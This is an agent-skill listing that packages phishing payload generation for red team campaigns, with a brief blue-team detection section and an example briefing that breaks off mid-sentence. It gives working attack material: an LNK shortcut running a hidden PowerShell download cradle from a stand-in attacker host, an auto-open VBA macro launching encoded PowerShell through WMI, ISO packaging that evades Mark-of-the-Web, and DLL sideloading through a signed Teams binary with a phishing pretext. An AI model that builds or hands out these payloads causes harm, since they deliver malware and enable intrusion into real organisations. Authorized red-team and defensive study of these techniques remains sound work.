# Phishing Payload Generation
> Generate sophisticated initial access payloads designed to bypass email gateways and endpoint antivirus systems while executing Command and Control (C2) agents. Use this skill to craft malicious LNKs, ISOs, Weaponized Office Documents, and HTML Smuggling techniques for Red Team campaigns.
- Skill: `shulkwisec/phishing-payload-generation` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add shulkwisec/phishing-payload-generation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/phishing-payload-generation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- License: Apache-2.0
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/shulkwisec/phishing-payload-generation
---
# Phishing Payload Generation
## When to Use
- When initiating a Red Team engagement requiring a foothold within the corporate network via Spear-Phishing.
- When evaluating the effectiveness of a client's Email Security Gateways (Proofpoint, Mimecast) or Endpoint Detection.
- To understand how modern threat actors bypass traditional `.exe` and `.doc` macro restrictions.
## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
## Workflow
### Phase 1: LNK (Shortcut) Files inside ISO Containers (Mark-of-the-Web Evasion)
```text
# Concept: Windows applies a "Mark of the Web" (MotW) hidden attribute to files downloaded
# from the internet, blocking macros and warning users.
# Historically, ISO (disk image) files did not inherit MotW for the files contained within them,
# making them the gold standard for payload delivery.
# 1. Payload construction:
# Create a malicious shortcut file (`Invoice.lnk`).
# Target Path: `C:\Windows\System32\cmd.exe /c "start /B powershell.exe -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"`
# Icon: Change icon to Microsoft Word or PDF to deceive the user.
# 2. Packaging:
# Generate a clean HTML file or decoy PDF to include next to the LNK.
# Use `mkisofs` or Impacket to compile the `.lnk` and decoy.pdf into `Financial_Report_Q3.iso`.
# 3. Execution:
# The victim double-clicks the ISO (Windows natively mounts it as a DVD drive).
# The victim double-clicks `Invoice.lnk`.
# The shortcut executes the invisible PowerShell download cradle, circumventing MotW warnings entirely.
```
### Phase 2: HTML Smuggling (Bypassing Network Gateways)
```html
Loading secure document... Please wait.
```
### Phase 3: Weaponized Office Documents (VBA Macros)
```vb
' Concept: The absolute classic. Highly monitored today, but effective heavily customized.
' Uses Microsoft's Visual Basic for Applications (VBA) to execute code when the document opens.
' 1. Create a Word Document. Ensure it requires the user to click "Enable Content"
' (e.g., Use an image stating "This document is protected. Click Enable Content to view").
' 2. Embed the Macro (Run continuously upon Document Open):
Sub AutoOpen()
ExecutePayload
End Sub
Sub Document_Open()
ExecutePayload
End Sub
Sub ExecutePayload()
' Evasion: Do not call Shell() directly. Use WMI for disconnected execution.
Dim objWMIService As Object
Dim objStartup As Object
Dim objConfig As Object
Dim objProcess As Object
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
' Hide the window
objConfig.ShowWindow = 0
Set objProcess = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
' Call the obfuscated payload living in a hidden document property or remote URL
objProcess.Create "powershell.exe -w hidden -enc JABz...";, Null, objConfig, intProcessID
End Sub
```
### Phase 4: DLL Sideloading via ZIP/RAR
```text
# Concept: If you drop a malicious payload (e.g., `payload.exe`), AV instantly flags it.
# Instead, take a highly trusted, digitally-signed application (e.g., Microsoft Teams Updater, `teams.exe`).
# This application is vulnerable to DLL Hijacking. When it runs, it automatically loads `version.dll` from its current directory.
# 1. Compile your malicious C2 code as `version.dll`.
# 2. Package BOTH the legitimate, Microsoft-signed `teams.exe` and your malicious `version.dll` into a ZIP file.
# 3. Phish the user: "Please run the urgent Teams update patch in the attached ZIP".
# 4. The user clicks `teams.exe`. Windows Defender analyzes it, sees a valid Microsoft signature, and allows execution.
# 5. `teams.exe` blindly loads the adjacent `version.dll` (your payload) into its trusted memory space.
```
#### Decision Point 🔀
```mermaid
flowchart TD
A[Analyze Target Defenses] --> B{Does Gateway strip explicit EXE/DLL/Msi attachments?}
B -->|Yes| C{Does Microsoft Office block internet Macros by default?}
B -->|No| D[Deploy DLL Sideloading ZIP]
C -->|Yes| E[High Risk of Macro failure. Use ISO/LNK or HTML Smuggling]
E --> F[HTML Smuggling delivers payload via browser generation]
E --> G[ISO/VHD wrapper bypasses Mark-of-the-Web for internal LNK]
C -->|No/Unknown| H[Deploy highly obfuscated, password-protected VBA Macro]
```
## 🔵 Blue Team Detection & Defense
- **Block ISO/VHD Attachments**: Malicious actors aggressively use ISO, VHD, and IMG files specifically because legacy security controls failed to scan inside disk containers block these extensions at the Secure Email Gateway (SEG).
- **Macro Hardening (GPO)**: Microsoft rolled out an update preventing VBA macros from executing on documents downloaded from the internet natively. Ensure the Group Policy Object (GPO) _"Block macros from running in Office files from the Internet"_ is strictly enforced organization-wide.
- **Mark of the Web (MotW) Auditing**: Train Endpoint Detection and Response (EDR) solutions to closely monitor process trees. If a process possessing a MotW attribute (like a downloaded ISO) initiates `cmd.exe`, `powershell.exe`, or `cscript.exe` as a child process, kill the execution dynamically as highly suspicious heuristic activity.
## Key Concepts
| Concept | Description |
|---------|-------------|
| Initial Access | The first phase of a cyberattack; gaining a foothold within the perimeter network |
| Mark of the Web (MotW) | A hidden NTFS Alternate Data Stream (ADS) added by Windows to files downloaded from the internet. It triggers security checks like Protected View in Office |
| HTML Smuggling | An evasion technique utilizing HTML5/JavaScript file generation (Blobs) natively within the browser to bypass perimeter deep packet inspection |
| DLL Sideloading | Placing a malicious Dynamic Link Library adjacent to a perfectly legitimate, trusted executable to hijack the execution flow via native loading priority |
## Output Format
```
Red Team Campaign Briefing: Initial Access Payload Generation
=============================================================
Objective: Bypass enterprise Segregated Email Gateway (SEG) and deploy Cobalt Strike.
Technique: HTML Smuggling (T1204.002)
Description:
To bypass the heavily filtered perimeter boundary, the classic `.exe` delivery paradigm was abandoned. The Red Team utilized HTML Smuggling to construct an evasion payload.
An HTML document disguised as an urgent "Microsoft 365 Password Expiration Notification" was developed. Embedded within the `